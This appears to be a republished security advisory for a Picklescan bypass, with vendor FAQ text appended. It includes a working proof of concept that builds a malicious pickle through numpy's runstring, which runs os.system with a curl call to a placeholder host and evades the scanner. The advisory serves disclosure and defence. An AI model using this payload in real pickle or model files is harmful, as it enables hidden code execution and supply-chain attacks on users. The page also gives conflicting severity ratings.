GHSA-FJ43-3QMQ-673F

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

• First, the attacker craft the payload by import runstring function in numpy.testing._private.utils
• Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
• Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

Recommended Fixes:

I suggest adding Numpy library to the unsafe globals blacklist.

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

Kodem intelligence

1. What is GHSA-FJ43-3QMQ-673F? GHSA-FJ43-3QMQ-673F is a medium-severity insecure deserialization vulnerability in picklescan (pip), affecting versions < 0.0.25. It is fixed in 0.0.25. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. Which versions of picklescan are affected by GHSA-FJ43-3QMQ-673F? picklescan (pip) versions < 0.0.25 is affected.
3. Is there a fix for GHSA-FJ43-3QMQ-673F? Yes. GHSA-FJ43-3QMQ-673F is fixed in 0.0.25. Upgrade to this version or later.
4. Is GHSA-FJ43-3QMQ-673F exploitable, and should I be worried? Whether GHSA-FJ43-3QMQ-673F is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-FJ43-3QMQ-673F is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-FJ43-3QMQ-673F? Upgrade picklescan to 0.0.25 or later.

Other vulnerabilities in picklescan